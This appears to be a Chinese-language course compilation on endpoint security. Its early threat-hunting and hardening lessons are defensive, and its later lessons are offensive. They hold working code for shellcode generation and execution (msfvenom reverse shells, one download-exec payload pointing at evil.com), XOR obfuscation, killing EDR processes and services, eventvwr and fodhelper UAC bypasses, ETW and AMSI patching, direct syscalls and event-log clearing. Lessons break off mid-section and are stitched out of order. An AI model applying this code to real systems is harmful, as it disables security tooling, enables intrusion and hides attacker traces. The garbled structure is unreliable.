威胁狩猎（Threat Hunting）是一种主动搜索网络中潜在威胁的方法，不依赖于传统的告警机制，它基于假设驱动的方法，通过分析数据来发现可能被安全工具遗漏的威胁。

威胁狩猎的核心价值：

• 发现未知威胁：传统安全工具依赖已知特征，威胁狩猎可以发现零日攻击和高级持续性威胁（APT）

• 缩短驻留时间：攻击者平均驻留时间超过200天，威胁狩猎可以显著缩短这个时间

• 提升安全态势：通过持续狩猎，了解组织的安全状况，发现防御盲点

1.1.2 威胁狩猎方法论

1. 假设驱动方法

威胁狩猎流程：
├─ 形成假设
│  ├─ 基于威胁情报
│  ├─ 基于历史事件
│  ├─ 基于异常行为
│  └─ 基于ATT&CK框架
├─ 验证假设
│  ├─ 收集相关数据
│  ├─ 分析数据模式
│  └─ 确认或否定假设
├─ 扩展调查
│  ├─ 关联分析
│  ├─ 时间线分析
│  └─ 影响范围评估
└─ 记录发现
   ├─ 更新检测规则
   ├─ 完善威胁情报
   └─ 改进狩猎流程

2. 威胁狩猎成熟度模型

威胁狩猎成熟度模型：
├─ Level 0: 初始级
│  └─ 依赖自动化告警，无主动狩猎
├─ Level 1: 基础级
│  └─ 使用基础数据，执行简单狩猎
├─ Level 2: 程序级
│  └─ 使用丰富数据，执行系统狩猎
├─ Level 3: 创新级
│  └─ 使用高级分析，开发新狩猎技术
└─ Level 4: 领先级
   └─ 自动化狩猎，持续改进

1.2 威胁狩猎实践

1.2.1 基于MITRE ATT&CK的狩猎

1. 狩猎矩阵

# 基于MITRE ATT&CK的威胁狩猎框架
classThreatHunter:
"""威胁狩猎框架"""
def__init__(self):
        self.hunts = []
        self.findings = []
        self.techniques = self.load_attack_techniques()
defcreate_hunt(self, technique_id, hypothesis, data_sources):
"""创建狩猎任务"""
        hunt = {
'id': self.generate_hunt_id(),
'technique': technique_id,
'hypothesis': hypothesis,
'data_sources': data_sources,
'status': 'Created',
'created_time': datetime.now()
        }
        self.hunts.append(hunt)
return hunt
defexecute_hunt(self, hunt_id):
"""执行狩猎任务"""
        hunt = self.get_hunt(hunt_id)
ifnot hunt:
returnNone
        print(f"[*] 执行狩猎: {hunt['technique']}")
        print(f"    假设: {hunt['hypothesis']}")
# 收集数据
        data = self.collect_data(hunt['data_sources'])
# 分析数据
        results = self.analyze_data(data, hunt['technique'])
# 记录发现
if results:
for result in results:
                finding = {
'hunt_id': hunt_id,
'technique': hunt['technique'],
'result': result,
'timestamp': datetime.now()
                }
                self.findings.append(finding)
return results
defhunt_persistence_mechanisms(self):
"""狩猎持久化机制"""
        findings = []
# 1. 检查注册表自启动
        registry_findings = self.check_registry_autostart()
        findings.extend(registry_findings)
# 2. 检查计划任务
        task_findings = self.check_scheduled_tasks()
        findings.extend(task_findings)
# 3. 检查服务
        service_findings = self.check_services()
        findings.extend(service_findings)
# 4. 检查WMI事件订阅
        wmi_findings = self.check_wmi_subscriptions()
        findings.extend(wmi_findings)
return findings
defcheck_registry_autostart(self):
"""检查注册表自启动项"""
        suspicious_entries = []
        autostart_keys = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run'
        ]
for key_path in autostart_keys:
            entries = self.query_registry(key_path)
for entry in entries:
if self.is_suspicious_autostart(entry):
                    suspicious_entries.append({
'type': 'Registry Autostart',
'key': key_path,
'value': entry['name'],
'data': entry['value'],
'reason': self.get_suspicion_reason(entry)
                    })
return suspicious_entries
defhunt_lateral_movement(self):
"""狩猎横向移动"""
        findings = []
# 1. 检查远程登录
        rdp_findings = self.check_rdp_connections()
        findings.extend(rdp_findings)
# 2. 检查PsExec使用
        psexec_findings = self.check_psexec_usage()
        findings.extend(psexec_findings)
# 3. 检查WMI远程执行
        wmi_findings = self.check_wmi_remote()
        findings.extend(wmi_findings)
# 4. 检查SMB会话
        smb_findings = self.check_smb_sessions()
        findings.extend(smb_findings)
return findings
defhunt_c2_communication(self):
"""狩猎C2通信"""
        findings = []
# 1. 检查异常DNS查询
        dns_findings = self.check_dns_anomalies()
        findings.extend(dns_findings)
# 2. 检查心跳通信
        heartbeat_findings = self.check_heartbeat_patterns()
        findings.extend(heartbeat_findings)
# 3. 检查可疑出站连接
        connection_findings = self.check_suspicious_connections()
        findings.extend(connection_findings)
return findings
# 使用示例
hunter = ThreatHunter()
# 创建狩猎任务
hunt = hunter.create_hunt(
    technique_id='T1053',
    hypothesis='攻击者可能使用计划任务建立持久化',
    data_sources=['Windows Security Event Log', 'Scheduled Task Log']
)
# 执行狩猎
results = hunter.execute_hunt(hunt['id'])

1.2.2 常见狩猎场景

1. 检测凭证窃取

# 凭证窃取狩猎
classCredentialTheftHunter:
"""凭证窃取狩猎"""
defhunt_mimikatz(self):
"""检测Mimikatz活动"""
        indicators = []
# 1. 检查LSASS进程访问
        lsass_access = self.check_lsass_access()
        indicators.extend(lsass_access)
# 2. 检查可疑内存转储
        dump_files = self.check_memory_dumps()
        indicators.extend(dump_files)
# 3. 检查注册表中的凭证
        registry_creds = self.check_registry_credentials()
        indicators.extend(registry_creds)
# 4. 检查SAM数据库访问
        sam_access = self.check_sam_access()
        indicators.extend(sam_access)
return indicators
defcheck_lsass_access(self):
"""检查LSASS进程访问"""
        suspicious_events = []
# 查询事件ID 10（进程访问）
        events = self.query_events(
            log_name='Microsoft-Windows-Sysmon/Operational',
            event_id=10,
            filter={
'TargetImage': '*lsass.exe*',
'GrantedAccess': '*0x1010*'
            }
        )
for event in events:
            suspicious_events.append({
'type': 'LSASS Access',
'process': event['SourceImage'],
'pid': event['SourceProcessId'],
'timestamp': event['TimeCreated'],
'severity': 'Critical'
            })
return suspicious_events

2. 检测数据外泄

# 数据外泄狩猎
classDataExfiltrationHunter:
"""数据外泄狩猎"""
defhunt_data_exfiltration(self):
"""检测数据外泄"""
        indicators = []
# 1. 检查大流量外传
        large_transfers = self.check_large_data_transfers()
        indicators.extend(large_transfers)
# 2. 检查可疑DNS隧道
        dns_tunneling = self.check_dns_tunneling()
        indicators.extend(dns_tunneling)
# 3. 检查云存储上传
        cloud_uploads = self.check_cloud_uploads()
        indicators.extend(cloud_uploads)
return indicators
defcheck_large_data_transfers(self):
"""检查大流量数据传输"""
        suspicious_transfers = []
# 分析网络流量
        flows = self.get_network_flows()
for flow in flows:
# 检查出站流量
if flow['direction'] == 'outbound':
# 超过100MB的传输
if flow['bytes'] > 100 * 1024 * 1024:
                    suspicious_transfers.append({
'type': 'Large Data Transfer',
'source': flow['src_ip'],
'destination': flow['dst_ip'],
'bytes': flow['bytes'],
'timestamp': flow['timestamp']
                    })
return suspicious_transfers

1.3 威胁狩猎工具

1.3.1 常用狩猎工具

威胁狩猎工具集：
├─ SIEM平台
│  ├─ Splunk
│  ├─ Elastic Stack
│  └─ Microsoft Sentinel
├─ EDR工具
│  ├─ CrowdStrike Falcon
│  ├─ Carbon Black
│  └─ Microsoft Defender for Endpoint
├─ 网络分析
│  ├─ Zeek (Bro)
│  ├─ Wireshark
│  └─ Suricata
└─ 专用狩猎工具
   ├─ Mordor (数据集)
   ├─ HELK (狩猎平台)
   └─ OpenCTI (威胁情报)

二、应急响应

2.1 事件响应流程

2.1.1 NIST事件响应框架

NIST SP 800-61定义了事件响应的四个阶段：

NIST事件响应阶段：

一、前言概述

本课将深入介绍终端安全防御体系的构建，包括纵深防御策略、行为监控增强、内核保护机制和异常检测与响应，构建完善的防御体系是应对现代威胁的关键。

二、相关内容

2.1 纵深防御策略

2.1.1 纵深防御概念

纵深防御（Defense in Depth）是一种安全策略，通过多层防御机制保护系统，即使一层防御被突破，其他层仍能提供保护。

2.1.2 终端安全防御层次

第1层：网络边界防护

• 防火墙

• IDS/IPS

• 网络分段

第2层：终端防护

• EDR/AV

• 应用白名单

• 设备控制

第3层：系统加固

• 补丁管理

• 配置加固

• 权限管理

第4层：数据保护

• 加密

• DLP

• 备份

第5层：监控与响应

• SIEM

• 威胁狩猎

• 应急响应

2.2 行为监控增强

2.2.1 行为监控的重要性

传统的签名检测无法应对未知威胁，行为监控可以检测异常行为模式，发现未知攻击。

2.2.2 关键行为监控点

1. 进程行为监控

# 监控进程创建
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 1}
# 监控进程注入
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 8}

关键检测点：

• 进程创建异常（如Word创建PowerShell进程）

• 进程注入行为（CreateRemoteThread）

• 进程终止异常（EDR进程被终止）

2. 文件行为监控

# 监控文件创建
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 11}

关键检测点：

• 可疑文件创建（如System32目录下的文件）

• 文件修改异常（如系统文件被修改）

3. 注册表行为监控

# 监控注册表修改
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 13}

关键检测点：

• 持久化注册表修改（Run键、服务键）

• 安全设置修改（如禁用Windows Defender）

4. 网络行为监控

# 监控网络连接
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 3}

关键检测点：

• 异常出站连接（如非浏览器进程连接外网）

• 可疑端口连接（如4444、6666等常见C2端口）

5. 内存行为监控

关键检测点：

• RWX内存分配

• Shellcode特征

• 内存中的PE文件

2.2.3 行为分析技术

1. 基线分析

建立正常行为基线，检测偏离基线的异常行为。

2. 关联分析

关联多个事件，发现攻击链。

3. 机器学习

使用机器学习模型检测异常行为。

2.3 内核保护机制

2.3.1 内核保护的重要性

用户态防护容易被绕过，内核保护提供更底层的防护。

2.3.2 Windows内核保护机制

1. PatchGuard（内核补丁保护）

功能：

• 检测内核代码修改

• 检测内核数据结构修改

• 防止内核Hook

限制：

• 检查周期较长（约10-15分钟）

• 不阻止修改，只触发蓝屏

2. Driver Signature Enforcement（驱动签名强制）

功能：

• 只允许加载有签名的驱动

• 防止加载恶意驱动

配置：

# 查看DSE状态
bcdedit /enum | findstr /i testsigning
# 启用DSE（默认已启用）
bcdedit /set testsigning off

3. HVCI（Hypervisor-Protected Code Integrity）

功能：

• 使用虚拟化保护内核代码完整性

• 防止内核内存被修改

• 阻止未验证的驱动加载

启用方法：

# 检查HVCI支持
Get-ComputerInfo | Select-Object DeviceGuardSmartStatus
# 启用HVCI
# 需要在组策略中启用

4. Credential Guard（凭据保护）

功能：

• 使用虚拟化保护凭据

• 防止凭据窃取（如Mimikatz）

启用方法：

# 检查Credential Guard状态
Get-ComputerInfo | Select-Object DeviceGuardRequiredSecurityProperties
# 启用Credential Guard
# 需要在组策略中启用

5. Exploit Guard（漏洞利用防护）

功能：

• 攻击面减少（ASR）

• 受控文件夹访问

• 网络保护

• 漏洞利用保护

配置ASR规则：

# 查看ASR规则
Get-MpPreference | Select-Object AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions
# 启用ASR规则
Add-MpPreference -AttackSurfaceReductionRules_Ids "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84" -AttackSurfaceReductionRules_Actions Enabled

配置受控文件夹访问：

# 启用受控文件夹访问
Set-MpPreference -EnableControlledFolderAccess Enabled
# 添加受保护文件夹
Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\ImportantData"

2.4 异常检测与响应

2.4.1 异常检测方法

1. 统计异常检测

检测异常的统计特征，如进程创建频率异常。

2. 行为异常检测

检测异常的行为模式，如异常的父子进程关系。

3. 时序异常检测

检测异常的时间序列，如异常的活动时间。

2.4.2 自动响应机制

1. 自动隔离

自动隔离受感染主机，防止横向移动。

2. 自动终止进程

自动终止恶意进程，阻止攻击。

3. 自动阻止网络连接

自动阻止恶意网络连接，切断C2通信。

2.5 实战案例分析

2.5.1 案例1：构建多层防御体系

场景描述：企业需要构建一个完整的终端安全防御体系，保护关键资产免受攻击。

构建过程：

1. 网络边界防护

   # 配置Windows防火墙
   # 启用防火墙
   

一、前言概述

本课将继续综合实战演练，包括攻击实施、EDR反应分析、攻击痕迹清理和实验报告撰写，通过实践，将能够理解攻击与防御的对抗关系。

二、相关内容

2.1 攻击实施与监控

2.1.1 部署恶意文件

步骤1：传输恶意文件到靶机

# 在攻击机上启动HTTP服务器
python3 -m http.server 8080
# 在靶机上下载文件
Invoke-WebRequest -Uri "http://192.168.1.100:8080/loader.exe" -OutFile "C:\loader.exe"
Invoke-WebRequest -Uri "http://192.168.1.100:8080/malicious.dll" -OutFile "C:\malicious.dll"

步骤2：启动监控工具

在靶机上启动：

• Process Monitor：监控进程、文件、注册表活动

• x64dbg：调试恶意程序

• EDR控制台：查看EDR状态和告警

2.1.2 执行攻击

步骤1：执行加载器

C:\loader.exe

步骤2：观察行为

在Process Monitor中观察：

• rundll32.exe进程创建

• malicious.dll加载

• ETW/AMSI Patch操作

• Shellcode执行

步骤3：检查EDR状态

在EDR控制台中检查：

• 是否有告警

• 是否检测到恶意行为

• 进程是否被阻止

2.1.3 获得Shell

在攻击机上：

meterpreter > sysinfo
Computer        : DESKTOP-XXXXXXX
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/windows

2.2 EDR反应分析

2.2.1 分析EDR检测

检查EDR日志：

# 查看Windows Defender检测历史
Get-MpThreatDetection
# 查看Windows Defender事件
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | Where-Object {$_.Id -eq 1116}

分析检测结果：

• 如果没有检测：说明绕过成功

• 如果有检测：分析检测原因，改进技术

2.2.2 分析进程行为

使用Process Monitor分析：

1. 过滤rundll32.exe进程
2. 查看文件操作
3. 查看注册表操作
4. 查看网络连接

使用x64dbg分析：

1. 附加到rundll32.exe进程
2. 在DllMain设置断点
3. 单步执行，观察行为
4. 检查ETW/AMSI是否被Patch

2.2.3 改进攻击

如果被检测：

1. 分析检测原因

2. 改进技术：

• 使用更隐蔽的加载方式

• 增强Shellcode混淆

• 使用不同的绕过技术

如果未被检测：

1. 记录成功的技术组合

2. 尝试其他EDR产品

3. 测试不同Windows版本

2.3 攻击痕迹清理

2.3.1 清理文件

# 删除恶意文件
Remove-Item "C:\loader.exe" -Force
Remove-Item "C:\malicious.dll" -Force
# 清理下载历史
Remove-Item "C:\Users\*\Downloads\*" -Force

2.3.2 清理注册表

# 删除持久化注册表项
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Malicious" -Force
# 清理其他痕迹
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force

2.3.3 清理事件日志

# 清理PowerShell历史
Clear-History
# 清理事件日志（需要管理员权限）
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

2.3.4 清理网络痕迹

# 清理DNS缓存
ipconfig /flushdns
# 清理ARP缓存
netsh interface ip delete arpcache

2.4 实验报告撰写

2.4.1 报告结构

1. 实验概述

一、前言概述

本课将进行综合实战演练，包括实验环境搭建、攻击链设计和工具组合使用，通过实践，将能够综合运用所学技术。

二、相关内容

2.1 实验环境搭建

2.1.1 环境要求

硬件要求：

• CPU: 4核心以上

• 内存: 16GB以上

• 硬盘: 100GB以上

软件要求：

• 宿主机: Windows 10/11 或 Linux

• 虚拟化软件: VMware Workstation / VirtualBox

• 虚拟机: Windows 10/11

2.1.2 虚拟机配置

攻击机（Kali Linux）：

- 操作系统: Kali Linux 2023.x
- 内存: 4GB
- 硬盘: 50GB
- 网络: NAT或桥接
- 工具: Metasploit, Cobalt Strike, Visual Studio Code

靶机（Windows 10）：

- 操作系统: Windows 10 21H2
- 内存: 8GB
- 硬盘: 60GB
- 网络: NAT或桥接
- EDR: Windows Defender / CrowdStrike试用版
- 工具: Visual Studio 2022, x64dbg, Process Monitor

2.1.3 网络配置

攻击机: 192.168.1.100
靶机: 192.168.1.101 + EDR

2.1.4 工具安装

攻击机工具：

sudo apt update && sudo apt upgrade -y
sudo apt install metasploit-framework -y
sudo apt install mingw-w64 nasm -y
sudo snap install code --classic

靶机工具：

# 安装Visual Studio 2022
# 安装x64dbg
# 安装Process Monitor
# 安装Python

2.2 攻击链设计

2.2.1 攻击目标

目标：在安装了EDR的Windows 10系统上执行恶意代码，并绕过EDR检测。

要求：

1. 不触发EDR告警

2. 获得持久化访问

3. 执行后续操作（如数据窃取）

2.2.2 攻击链设计

1. 初始访问
   └─▶ 钓鱼邮件 / 漏洞利用
2. 执行
   └─▶ 白+黑技术加载恶意DLL
3. 绕过EDR
   └─▶ Patch ETW/AMSI
4. 权限提升
   └─▶ UAC绕过
5. 持久化
   └─▶ 注册表 / 计划任务
6. 命令与控制
   └─▶ RPC隧道 / HTTPS
7. 数据窃取
   └─▶ 文件搜索 / 屏幕截图

2.2.3 技术选择

阶段	技术选择	原因
初始访问	钓鱼邮件	最常见的初始访问方式
执行	白+黑	利用合法程序，不易被阻止
绕过EDR	Patch ETW/AMSI	致盲EDR，不触发告警
权限提升	UAC绕过	获得管理员权限
持久化	注册表	隐蔽且持久
C2	HTTPS	伪装成正常流量
数据窃取	文件搜索	简单有效

2.3 工具组合使用

2.3.1 生成恶意DLL

使用donut生成Shellcode：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin

，一、前言概述

Shellcode是一小段用于执行特定任务的机器码，是现代攻击的核心技术之一，本课将深入介绍Shellcode的生成、混淆和执行技术。

二、相关内容

2.1 Shellcode基础

Shellcode定义：Shellcode是一小段用于执行特定任务的机器码，常用于漏洞利用和代码注入。

Shellcode特点：

• 位置无关代码（Position Independent Code）

• 无空字节（Null-byte Free）

• 小体积

• 自包含

Shellcode类型：

• 功能分类：执行命令、反弹Shell、下载执行、提权

• 架构分类：x86 (32位)、x64 (64位)

• 实现方式：汇编编写、C编译提取、工具生成

2.2 Shellcode生成

2.2.1 使用Metasploit生成

# 生成反弹Shell Shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# 生成执行命令 Shellcode
msfvenom -p windows/x64/exec CMD=cmd.exe -f c
# 生成下载执行 Shellcode
msfvenom -p windows/x64/download_exec URL=http://evil.com/malware.exe -f c

2.2.2 使用Cobalt Strike生成

在Cobalt Strike中生成Beacon Shellcode。

2.2.3 手动编写

x64 MessageBox Shellcode：

section .text
global _start
_start:
    sub rsp, 28h
    mov rax, [gs:60h]
    mov rax, [rax + 18h]
    mov rax, [rax + 20h]
    mov rax, [rax]
    mov rax, [rax]
    mov rax, [rax + 20h]
    ; 获取MessageBoxA地址并调用...

2.3 Shellcode混淆

2.3.1 编码混淆

XOR编码：

voidXorEncode(unsignedchar* shellcode, size_t size, unsignedchar key){
for (size_t i = 0; i < size; i++) {
        shellcode[i] ^= key;
    }
}

多字节XOR：

voidMultiXorEncode(unsignedchar* shellcode, size_t size, unsignedchar* key, size_t keySize){
for (size_t i = 0; i < size; i++) {
        shellcode[i] ^= key[i % keySize];
    }
}

2.3.2 加密混淆

AES加密：

voidAesEncrypt(unsignedchar* shellcode, size_t size, unsignedchar* key){
// 使用AES加密
}

2.3.3 变形混淆

ShellcodeMutator

• GitHub: https://github.com/nettitude/ShellcodeMutator

sgn (Shellcode Encoder)

• GitHub: https://github.com/EgeBalci/sgn

2.4 Shellcode执行

2.4.1 直接执行

voidExecuteShellcode(unsignedchar* shellcode, size_t size){
    LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memory, shellcode, size);
    ((void(*)())memory)();
}

2.4.2 回调执行

voidExecuteShellcode_Callback(unsignedchar* shellcode, size_t size){
    LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memory, shellcode, size);
    EnumChildWindows(NULL, (WNDENUMPROC)memory, 0);
}

2.4.3 线程执行

voidExecuteShellcode_Thread(unsignedchar* shellcode, size_t size){
    LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memory, shellcode, size);
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)memory, NULL, 0, NULL);
}

2.5 实战工具

donut

• GitHub: https://github.com/TheWover/donut

• 将PE、DLL、.NET程序集转换为Shellcode

sgn

• GitHub: https://github.com/EgeBalci/sgn

• Shellcode编码器

SigFlip

• GitHub: https://github.com/med0x2e/SigFlip

• 将Shellcode嵌入签名文件

2.6 实战案例分析

一、前言概述

EDR终止是最直接的对抗方法，直接停止或禁用EDR进程/服务，本课将深入介绍用户态终止、内核态终止和特殊方法。

二、相关内容

2.1 EDR终止技术概述

技术分类：

• 用户态终止

• 内核态终止

• 特殊方法

2.2 用户态终止

2.2.1 TerminateProcess

原理：使用TerminateProcess API终止EDR进程。

代码实现：

voidKillEDR_UserMode(){
constchar* edrProcesses[] = {
"MsMpEng.exe",
"CSFalconService.exe",
"Cb.exe",
"SentinelAgent.exe"
    };
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
for (int i = 0; i < sizeof(edrProcesses) / sizeof(char*); i++) {
if (strcmp(pe32.szExeFile, edrProcesses[i]) == 0) {
                    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
if (hProcess) {
                        TerminateProcess(hProcess, 0);
                        CloseHandle(hProcess);
                    }
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);
}

局限性：

• EDR通常有自保护机制

• 需要管理员权限

• 容易被检测

2.2.2 服务停止

原理：停止EDR服务。

代码实现：

voidStopEDRService(){
constchar* edrServices[] = {
"WinDefend",
"CSFalconService",
"Cb",
"SentinelAgent"
    };
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
for (int i = 0; i < sizeof(edrServices) / sizeof(char*); i++) {
        SC_HANDLE hService = OpenServiceA(hSCManager, edrServices[i], SERVICE_STOP | SERVICE_QUERY_STATUS);
if (hService) {
            SERVICE_STATUS status;
            ControlService(hService, SERVICE_CONTROL_STOP, &status);
            CloseServiceHandle(hService);
        }
    }
    CloseServiceHandle(hSCManager);
}

2.3 内核态终止

2.3.1 BYOVD终止

已在第4课详细介绍。

2.3.2 内核回调移除

原理：EDR通过注册内核回调来监控行为，移除这些回调可以致盲EDR。

关键回调：

• PsSetCreateProcessNotifyRoutine

• PsSetCreateThreadNotifyRoutine

• PsSetLoadImageNotifyRoutine

• CmRegisterCallback

• ObRegisterCallbacks

2.4 特殊方法

2.4.1 进程冻结

原理：不终止EDR进程，而是冻结其所有线程。

一、前言概述

UAC（User Account Control）是Windows的安全特性，用于限制应用程序的权限。本课将深入介绍UAC机制和绕过技术。

二、相关内容

2.1 UAC机制详解

UAC定义：UAC是Windows的安全特性，用于限制应用程序的权限，防止恶意软件在用户不知情的情况下获得管理员权限。

UAC工作流程：

用户启动需要管理员权限的程序
       │
       ▼
检查清单（白名单、自动提升）
       │
       ├──── 在白名单中 ────▶ 自动提升
       ├──── 自动提升 ────▶ 自动提升
       └──── 其他 ────▶ 弹出UAC提示

UAC级别：

• 始终通知：最高级别

• 默认：默认级别

• 仅当程序尝试更改时通知：中等级别

• 从不通知：最低级别

2.2 UAC绕过技术

2.2.1 白名单绕过

原理：某些Windows程序在UAC白名单中，可以自动提升权限。

常见白名单程序：

• compmgmt.msc

• eventvwr.exe

• fodhelper.exe

• sdclt.exe

• wsreset.exe

示例：eventvwr.exe绕过：

voidUACBypass_Eventvwr(){
    HKEY hKey;
    RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\mscfile\\shell\\open\\command",
0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
constchar* maliciousPath = "C:\\malicious.exe";
    RegSetValueExA(hKey, NULL, 0, REG_SZ, (LPBYTE)maliciousPath, strlen(maliciousPath) + 1);
    RegCloseKey(hKey);
    WinExec("eventvwr.exe", SW_HIDE);
    Sleep(5000);
    RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\mscfile");
}

示例：fodhelper.exe绕过：

voidUACBypass_Fodhelper(){
    HKEY hKey;
    RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command",
0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
constchar* maliciousPath = "C:\\malicious.exe";
    RegSetValueExA(hKey, NULL, 0, REG_SZ, (LPBYTE)maliciousPath, strlen(maliciousPath) + 1);
    RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (LPBYTE)"", 1);
    RegCloseKey(hKey);
    WinExec("fodhelper.exe", SW_HIDE);
    Sleep(5000);
    RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");
}

2.2.2 DLL劫持绕过

原理：某些白名单程序会加载特定DLL，通过DLL劫持可以执行恶意代码。

2.2.3 COM对象绕过

原理：某些COM对象可以提升权限，利用这些COM对象可以绕过UAC。

2.3 实战案例分析

2.3.1 案例1：使用eventvwr.exe绕过UAC

攻击场景：攻击者已获得普通用户权限，需要提升到管理员权限执行后续操作。

一、前言概述

ETW和AMSI是EDR的重要数据源，Patch它们可以有效地致盲EDR，本课将深入介绍ETW和AMSI的原理以及对抗技术。

二、相关内容

2.1 ETW（Event Tracing for Windows）

原理：ETW是Windows提供的高性能事件跟踪机制，EDR使用ETW记录系统事件。

关键ETW提供者：

• Microsoft-Windows-Kernel-Process：进程创建/终止

• Microsoft-Windows-Kernel-File：文件操作

• Microsoft-Windows-Kernel-Network：网络连接

• Microsoft-Windows-PowerShell：PowerShell命令

2.2 Patch ETW技术

原理：通过修补ETW相关函数，阻止EDR记录事件。

目标函数：

• ntdll!EtwEventWrite

• ntdll!EtwEventWriteFull

实现方法：

voidPatchETW(){
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    BYTE patch = 0xC3; // ret
memcpy(pEtwEventWrite, &patch, 1);
    VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
}

2.3 AMSI（Antimalware Scan Interface）

原理：AMSI是Windows提供的反恶意软件扫描接口，用于扫描脚本内容。

关键AMSI函数：

• AmsiInitialize

• AmsiOpenSession

• AmsiScanBuffer

• AmsiScanString

2.4 Patch AMSI技术

原理：通过修补AMSI相关函数，使恶意脚本不被扫描。

目标函数：

• amsi!AmsiScanBuffer

• amsi!AmsiScanString

实现方法：

voidPatchAMSI(){
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    DWORD oldProtect;
    VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
    BYTE patch[] = { 0x31, 0xC0, 0xC3 }; // xor eax, eax; ret
memcpy(pAmsiScanBuffer, patch, 3);
    VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}

2.5 实战案例分析

2.5.1 案例1：Patch ETW绕过EDR监控

攻击场景：攻击者需要执行恶意操作，但EDR通过ETW监控所有系统事件。

一、前言概述

本课将继续介绍反检测技术，重点讲解SysCall（系统调用）和VEH（向量异常处理）技术，这些技术可以帮助恶意软件绕过EDR监控。

二、相关内容

2.1 SysCall（系统调用）

原理：EDR通常通过Hooking用户态API监控行为，直接使用系统调用可以绕过这些Hook。

Windows系统调用：

用户态API: CreateFile -> kernel32!CreateFileA/W -> ntdll!NtCreateFile -> syscall
系统调用: 直接调用ntdll!NtCreateFile -> syscall

实现方法：

方法1：直接调用ntdll函数：

typedefNTSTATUS(NTAPI *pNtCreateFile)(...);
voidDirectSyscall(){
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateFile NtCreateFile = (pNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile");
// 使用NtCreateFile
    HANDLE hFile;
    OBJECT_ATTRIBUTES objAttr;
    IO_STATUS_BLOCK ioStatus;
// 初始化并调用...
}

方法2：直接执行syscall指令：

DWORD GetSyscallNumber(constchar* functionName){
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pFunction = (BYTE*)GetProcAddress(hNtdll, functionName);
// 检查是否是syscall
if (pFunction[0] == 0x4C && pFunction[1] == 0x8B && pFunction[2] == 0xD1) {
if (pFunction[3] == 0xB8) {
return *(DWORD*)(pFunction + 4);
        }
    }
return0;
}
NTSTATUS ExecuteSyscall(DWORD syscallNumber, ...){
    NTSTATUS status;
    __asm {
        mov r10, rcx
        mov eax, syscallNumber
        syscall
        mov status, eax
    }
return status;
}

2.2 VEH（Vectored Exception Handling）

原理：VEH是Windows的一种异常处理机制，可以用于执行代码，常用于绕过检测。

实现方法：

LONG WINAPI VEHHandler(PEXCEPTION_POINTERS pExceptionInfo){
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
// 执行恶意代码
        pExceptionInfo->ContextRecord->Rip = (DWORD64)MaliciousFunction;
return EXCEPTION_CONTINUE_EXECUTION;
    }
return EXCEPTION_CONTINUE_SEARCH;
}
voidUseVEH(){
    AddVectoredExceptionHandler(1, VEHHandler);
    DebugBreak();
}

2.3 其他反检测技术

代码混淆：

• 控制流混淆

• 数据混淆

